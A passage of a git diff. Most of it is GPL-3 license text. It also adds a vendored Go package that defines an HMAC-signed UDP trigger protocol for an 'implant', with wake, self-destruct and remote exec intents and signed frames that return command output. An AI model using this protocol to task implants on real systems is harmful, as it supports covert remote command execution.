is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/implant/vendor/github.com/0x90pkt/trigger/pkg/protocol/protocol.go b/implant/vendor/github.com/0x90pkt/trigger/pkg/protocol/protocol.go new file mode 100644 index 0000000000..48d6511a58 --- /dev/null +++ b/implant/vendor/github.com/0x90pkt/trigger/pkg/protocol/protocol.go @@ -0,0 +1,327 @@ +// SPDX-License-Identifier: GPL-3.0-or-later +// +// Package protocol defines the wire format and HMAC signing for the +// trigger protocol. It is import-safe from both server and client code +// and has no transport or I/O dependencies. +// +// Wire format is JSON-over-UDP. The canonical signable payload is the +// JSON encoding of a map containing the fields {version, client_id, +// nonce, timestamp, intent} in Go's deterministic alphabetical key +// order. The HMAC-SHA256 of that payload is hex-encoded and attached +// as the "signature" field of the wire message. +package protocol + +import ( + "crypto/hmac" + "crypto/rand" + "crypto/sha256" + "encoding/hex" + "encoding/json" + "errors" + "fmt" + "time" +) + +// ProtocolVersion is the current wire-protocol version. Any change to +// the canonical signable layout, field set, or HMAC scheme MUST bump +// this constant — receivers reject unknown versions outright. +const ProtocolVersion = 1 + +// Bounds enforced by ValidateStructure. Tight enough to keep the wire +// format compact and reject obvious abuse; loose enough that operators +// don't trip over them by accident. +const ( + NonceMinLength = 16 + SignatureHexLength = 64 + ClientIDMaxLength = 128 + IntentMaxLength = 128 +) + +// TriggerMessage is the on-wire structure operators send. +type TriggerMessage struct { + Version int `json:"version"` + ClientID string `json:"client_id"` + Nonce string `json:"nonce"` + Timestamp string `json:"timestamp"` + Intent string `json:"intent"` + Payload string `json:"payload,omitempty"` // command/data for bidirectional intents (e.g. exec) + Signature string `json:"signature,omitempty"` +} + +// TriggerResponse is the on-wire structure implants send back for +// bidirectional intents (e.g. exec). The response is signed with the +// same HMAC secret and includes the original request nonce for +// correlation. +type TriggerResponse struct { + Version int `json:"version"` + Type string `json:"type"` // always "response" + RequestNonce string `json:"request_nonce"` // correlates to the original TriggerMessage.Nonce + ClientID string `json:"client_id"` // implant identifier + Nonce string `json:"nonce"` // unique response nonce + Timestamp string `json:"timestamp"` + ExitCode int `json:"exit_code"` + Output string `json:"output"` // stdout+stderr from the executed command + Error string `json:"error,omitempty"` // execution error, if any + Signature string `json:"signature,omitempty"` +} + +// ResponseType is the constant value for TriggerResponse.Type. +const ResponseType = "response" + +// SignResponse computes the HMAC-SHA256 signature for a TriggerResponse. +func SignResponse(resp TriggerResponse, sharedSecret string) (string, error) { + if sharedSecret == "" { + return "", errors.New("shared secret must be set") + } + body, err := canonicalResponseJSON(resp) + if err != nil { + return "", err + } + mac := hmac.New(sha256.New, []byte(sharedSecret)) + if _, err := mac.Write(body); err != nil { + return "", fmt.Errorf("failed computing hmac: %w", err) + } + return hex.EncodeToString(mac.Sum(nil)), nil +} + +// VerifyResponse verifies a TriggerResponse signature. +func VerifyResponse(resp TriggerResponse, sharedSecret string) (bool, error) { + if resp.Signature == "" { + return false, nil + } + expected, err := SignResponse(resp, sharedSecret) + if err != nil { + return false, err + } + return hmac.Equal([]byte(expected), []byte(resp.Signature)), nil +} + +// EncodeResponse marshals a TriggerResponse to wire-format JSON. +func EncodeResponse(resp TriggerResponse) ([]byte, error) { + b, err := json.Marshal(resp) + if err != nil { + return nil, fmt.Errorf("failed marshaling response: %w", err) + } + return b, nil +} + +// DecodeResponse parses raw bytes as a TriggerResponse. +func DecodeResponse(raw []byte) (TriggerResponse, error) { + var resp TriggerResponse + if err := json.Unmarshal(raw, &resp); err != nil { + return TriggerResponse{}, fmt.Errorf("invalid JSON response: %w", err) + } + if resp.Type != ResponseType { + return TriggerResponse{}, fmt.Errorf("expected type %q, got %q", ResponseType, resp.Type) + } + return resp, nil +} + +// IsResponse peeks at raw JSON to check if it's a response frame +// (has "type":"response"). This lets a listener distinguish between +// inbound trigger messages and response frames on the same port. +func IsResponse(raw []byte) bool { + var peek struct { + Type string `json:"type"` + } + if err := json.Unmarshal(raw, &peek); err != nil { + return false + } + return peek.Type == ResponseType +} + +func canonicalResponseJSON(resp TriggerResponse) ([]byte, error) { + payload := map[string]interface{}{ + "version": resp.Version, + "type": resp.Type, + "request_nonce": resp.RequestNonce, + "client_id": resp.ClientID, + "nonce": resp.Nonce, + "timestamp": resp.Timestamp, + "exit_code": resp.ExitCode, + "output": resp.Output, + "error": resp.Error, + } + b, err := json.Marshal(payload) + if err != nil { + return nil, fmt.Errorf("failed marshaling response signable payload: %w", err) + } + return b, nil +} + +// NowUTC returns the current UTC time formatted to RFC3339 nanoseconds. +// All on-wire timestamps use this format. +func NowUTC() string { + return time.Now().UTC().Format(time.RFC3339Nano) +} + +// ParseTimestamp parses an RFC3339Nano timestamp and converts to UTC. +func ParseTimestamp(ts string) (time.Time, error) { + parsed, err := time.Parse(time.RFC3339Nano, ts) + if err != nil { + return time.Time{}, fmt.Errorf("invalid RFC3339 timestamp: %w", err) + } + return parsed.UTC(), nil +} + +// GenerateNonce returns a 16-byte cryptographically random nonce, +// hex-encoded to a 32-character string. +func GenerateNonce() (string, error) { + nonce := make([]byte, 16) + if _, err := rand.Read(nonce); err != nil { + return "", fmt.Errorf("failed generating nonce: %w", err) + } + return hex.EncodeToString(nonce), nil +} + +func isHexString(value string) bool { + if value == "" { + return false + } + for _, r := range value { + switch { + case r >= '0' && r <= '9': + case r >= 'a' && r <= 'f': + case r >= 'A' && r <= 'F': + default: + return false + } + } + return true +} + +func validateSignature(signature string) error { + if len(signature) != SignatureHexLength || !isHexString(signature) { + return fmt.Errorf("signature must be a %d-character hex digest", SignatureHexLength) + } + return nil +} + +// ValidateStructure checks every field of a TriggerMessage against the +// protocol's structural constraints. It does NOT verify the signature +// or check the timestamp against wall-clock skew — those are caller +// responsibilities. +func ValidateStructure(msg TriggerMessage) error { + if msg.Version != ProtocolVersion { + return fmt.Errorf("unsupported version %d, expected %d", msg.Version, ProtocolVersion) + } + if msg.ClientID == "" { + return errors.New("client_id must be set") + } + if len(msg.ClientID) > ClientIDMaxLength { + return fmt.Errorf("client_id must be at most %d characters", ClientIDMaxLength) + } + if len(msg.Nonce) < NonceMinLength { + return fmt.Errorf("nonce must be at least %d characters", NonceMinLength) + } + if !isHexString(msg.Nonce) { + return errors.New("nonce must be hexadecimal") + } + if msg.Intent == "" { + return errors.New("intent must be set") + } + if len(msg.Intent) > IntentMaxLength { + return fmt.Errorf("intent must be at most %d characters", IntentMaxLength) + } + if msg.Timestamp == "" { + return errors.New("timestamp must be set") + } + if _, err := ParseTimestamp(msg.Timestamp); err != nil { + return err + } + if msg.Signature != "" { + if err := validateSignature(msg.Signature); err != nil { + return err + } + } + return nil +} + +// canonicalSignableJSON returns the deterministic JSON payload used as +// the HMAC input. Go's json.Marshal on a map emits keys in alphabetical +// order, which is the cross-language contract: any other implementation +// of this protocol MUST emit the same byte sequence for the same input. +func canonicalSignableJSON(msg TriggerMessage) ([]byte, error) { + payload := map[string]interface{}{ + "version": msg.Version, + "client_id": msg.ClientID, + "nonce": msg.Nonce, + "timestamp": msg.Timestamp, + "intent": msg.Intent, + } + // Include payload in HMAC computation only when set, so existing + // wake/self-destruct packets remain signature-compatible. + if msg.Payload != "" { + payload["payload"] = msg.Payload + } + b, err := json.Marshal(payload) + if err != nil { + return nil, fmt.Errorf("failed marshaling signable payload: %w", err) + } + return b, nil +} + +// Sign computes the HMAC-SHA256 signature over the canonical signable +// JSON of msg, using sharedSecret as the key. The returned signature is +// hex-encoded. The msg's existing Signature field is ignored. +func Sign(msg TriggerMessage, sharedSecret string) (string, error) { + if sharedSecret == "" { + return "", errors.New("shared secret must be set") + } + if err := ValidateStructure(msg); err != nil { + return "", err + } + + body, err := canonicalSignableJSON(msg) + if err != nil { + return "", err + } + + mac := hmac.New(sha256.New, []byte(sharedSecret)) + if _, err := mac.Write(body); err != nil { + return "", fmt.Errorf("failed computing hmac: %w", err) + } + return hex.EncodeToString(mac.Sum(nil)), nil +} + +// Verify recomputes the expected signature for msg using sharedSecret +// and compares it to msg.Signature in constant time. Returns false +// without error if Signature is empty. +func Verify(msg TriggerMessage, sharedSecret string) (bool, error) { + if msg.Signature == "" { + return false, nil + } + expected, err := Sign(msg, sharedSecret) + if err != nil { + return false, err + } + return hmac.Equal([]byte(expected), []byte(msg.Signature)), nil +} + +// EncodeWire returns the on-wire JSON encoding of msg, validating +// structure first. +func EncodeWire(msg TriggerMessage) ([]byte, error) { + if err := ValidateStructure(msg); err != nil { + return nil, err + } + b, err := json.Marshal(msg) + if err != nil { + return nil, fmt.Errorf("failed marshaling message: %w", err) + } + return b, nil +} + +// DecodeWire parses raw bytes as a TriggerMessage and validates the +// structure. The signature, if present, is NOT verified here — call +// Verify separately so the caller controls when HMAC compute happens +// in the validation pipeline. +func DecodeWire(raw []byte) (TriggerMessage, error) { + var msg TriggerMessage + if err := json.Unmarshal(raw, &msg); err != nil { + return TriggerMessage{}, fmt.Errorf("invalid JSON payload: %w", err) + } + if err := ValidateStructure(msg); err != nil { + return TriggerMessage{}, err + } + return msg, nil +} diff --git a/implant/vendor/modules.txt b/implant/vendor/modules.txt index df0feeb492..19a0c22873 100644 --- a/implant/vendor/modules.txt +++ b/implant/vendor/modules.txt @@ -4,6 +4,9 @@ filippo.io/age filippo.io/age/internal/bech32 filippo.io/age/internal/format filippo.io/age/internal/stream +# github.com/0x90pkt/trigger v0.1.0 +## explicit; go 1.22 +github.com/0x90pkt/trigger/pkg/protocol # github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2 ## explicit; go 1.15 github.com/Binject/debug/elf diff --git a/vendor/github.com/0x90pkt/trigger/LICENSE b/vendor/github.com/0x90pkt/trigger/LICENSE new file mode 100644 index 0000000000..f288702d2f --- /dev/null +++ b/vendor/github.com/0x90pkt/trigger/LICENSE @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to 